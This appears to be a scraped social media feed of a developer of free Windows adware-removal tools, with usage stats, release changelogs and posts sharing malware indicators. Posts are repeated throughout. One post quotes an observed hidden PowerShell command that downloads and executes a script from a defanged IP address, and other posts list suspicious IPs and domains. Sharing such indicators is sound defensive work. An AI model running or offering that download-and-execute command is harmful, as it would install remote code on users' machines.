Furtivex
@furtivex.bsky.social
Building free, lightweight tools that restore user control and transparency on Windows. -- https://furtivex.net
I run a small utility site and rarely look at analytics.
Checked AWS stats for 2025 and was surprised:
• 86k unique visitors
• ~750k hits
• 1.19 TB bandwidth
Biggest surprise: a huge bandwidth spike in Dec.
Quiet tools really do get quietly used.
Checked AWS stats for 2025 and was surprised:
• 86k unique visitors
• ~750k hits
• 1.19 TB bandwidth
Biggest surprise: a huge bandwidth spike in Dec.
Quiet tools really do get quietly used.
January 1, 2026 at 6:30 PM
I run a small utility site and rarely look at analytics.
Checked AWS stats for 2025 and was surprised:
• 86k unique visitors
• ~750k hits
• 1.19 TB bandwidth
Biggest surprise: a huge bandwidth spike in Dec.
Quiet tools really do get quietly used.
Checked AWS stats for 2025 and was surprised:
• 86k unique visitors
• ~750k hits
• 1.19 TB bandwidth
Biggest surprise: a huge bandwidth spike in Dec.
Quiet tools really do get quietly used.
Nerding out over here
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www.youtube.com/watch?v=UB8L...
Improve Framerates while on Linux - Fellowship & Steam Game Settings
YouTube video by Furtive
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December 31, 2025 at 2:21 PM
Nerding out over here
www.youtube.com/watch?v=UB8L...
www.youtube.com/watch?v=UB8L...
S2 MicrosoftConsole; powershell.exe -NoProfile -WindowStyle Hidden -Command "irm 'hxxp://41.216.188[.]215/update' | iex" [X]
December 31, 2025 at 12:58 AM
S2 MicrosoftConsole; powershell.exe -NoProfile -WindowStyle Hidden -Command "irm 'hxxp://41.216.188[.]215/update' | iex" [X]
It's hard to explain this stuff.. some Adware. Reminds me of InstallMonster, but is pretty tame these days. #DoesNotBelong has a new generic detection for it. furtivex.net Free AV tool
December 21, 2025 at 1:17 AM
It's hard to explain this stuff.. some Adware. Reminds me of InstallMonster, but is pretty tame these days. #DoesNotBelong has a new generic detection for it. furtivex.net Free AV tool
Furtivex – Building free, lightweight tools that restore user control and transparency on Windows.
Furtivex.net
December 21, 2025 at 12:47 AM
v10.1.1 (12.17.2025)
- Database update: TROJ.BTCMiner.GoogleUP new variant
v10.1.0 (12.16.2025)
- New heuristic: LocalNetSolutions
v10.0.9 (12.15.2025)
- Database update - OneBrowser++
v10.0.8 (12.13.2025)
- Database update - PUPs
- Pulled some of Microsoft telemetry services / sys32 files.
- Database update: TROJ.BTCMiner.GoogleUP new variant
v10.1.0 (12.16.2025)
- New heuristic: LocalNetSolutions
v10.0.9 (12.15.2025)
- Database update - OneBrowser++
v10.0.8 (12.13.2025)
- Database update - PUPs
- Pulled some of Microsoft telemetry services / sys32 files.
December 18, 2025 at 3:01 AM
v10.1.1 (12.17.2025)
- Database update: TROJ.BTCMiner.GoogleUP new variant
v10.1.0 (12.16.2025)
- New heuristic: LocalNetSolutions
v10.0.9 (12.15.2025)
- Database update - OneBrowser++
v10.0.8 (12.13.2025)
- Database update - PUPs
- Pulled some of Microsoft telemetry services / sys32 files.
- Database update: TROJ.BTCMiner.GoogleUP new variant
v10.1.0 (12.16.2025)
- New heuristic: LocalNetSolutions
v10.0.9 (12.15.2025)
- Database update - OneBrowser++
v10.0.8 (12.13.2025)
- Database update - PUPs
- Pulled some of Microsoft telemetry services / sys32 files.
v10.0.4 (12.08.2025)
- Support for these languages have been added: Basque, Hungarian, Indonesian, Romanian, Ukrainian, Vietnamese
--> furtivex.net
- Support for these languages have been added: Basque, Hungarian, Indonesian, Romanian, Ukrainian, Vietnamese
--> furtivex.net
December 9, 2025 at 3:48 AM
v10.0.4 (12.08.2025)
- Support for these languages have been added: Basque, Hungarian, Indonesian, Romanian, Ukrainian, Vietnamese
--> furtivex.net
- Support for these languages have been added: Basque, Hungarian, Indonesian, Romanian, Ukrainian, Vietnamese
--> furtivex.net
github.com/furtivex/hos...
Saturday nights are wild
Saturday nights are wild
aaa · furtivex/hosts_adultxxx@561c7c1
github.com
December 7, 2025 at 5:42 AM
github.com/furtivex/hos...
Saturday nights are wild
Saturday nights are wild
haven't seen this one. 45.55.141[.]154
techsafe-info[.]com New PUP?
techsafe-info[.]com New PUP?
December 7, 2025 at 3:25 AM
haven't seen this one. 45.55.141[.]154
techsafe-info[.]com New PUP?
techsafe-info[.]com New PUP?
#DoesNotBelong was updated to cover the recent #ShadyPanda #Microsoft #Edge and #Google #Chrome extensions: www.koi.ai/blog/4-milli...
4.3 Million Browsers Infected: Inside ShadyPanda's 7-Year Malware Campaign | Koi Blog
www.koi.ai
December 6, 2025 at 11:45 PM
#DoesNotBelong was updated to cover the recent #ShadyPanda #Microsoft #Edge and #Google #Chrome extensions: www.koi.ai/blog/4-milli...
v9.9.0 of #DoesNotBelong and v5.8.4 of #PrivWindoze were released today. Test them and give me your candid feedback. THANKS
December 3, 2025 at 12:11 AM
v9.9.0 of #DoesNotBelong and v5.8.4 of #PrivWindoze were released today. Test them and give me your candid feedback. THANKS
DoesNotBelong v9.8.9 is available! - furtivex.net
Furtivex – Building free, lightweight tools that restore user control and transparency on Windows.
furtivex.net
November 30, 2025 at 7:09 PM
DoesNotBelong v9.8.9 is available! - furtivex.net
- Microsoft Performance Counter files are no longer deleted. Now using lodctr /r instead
- Removed provisioning packages that may have been out of place from detection
v9.4.1 (10.21.2025)
- Database update - Google extension, ValidateAdminCodeSignatures (ineffective)
- Removed provisioning packages that may have been out of place from detection
v9.4.1 (10.21.2025)
- Database update - Google extension, ValidateAdminCodeSignatures (ineffective)
November 12, 2025 at 11:58 PM
- Microsoft Performance Counter files are no longer deleted. Now using lodctr /r instead
- Removed provisioning packages that may have been out of place from detection
v9.4.1 (10.21.2025)
- Database update - Google extension, ValidateAdminCodeSignatures (ineffective)
- Removed provisioning packages that may have been out of place from detection
v9.4.1 (10.21.2025)
- Database update - Google extension, ValidateAdminCodeSignatures (ineffective)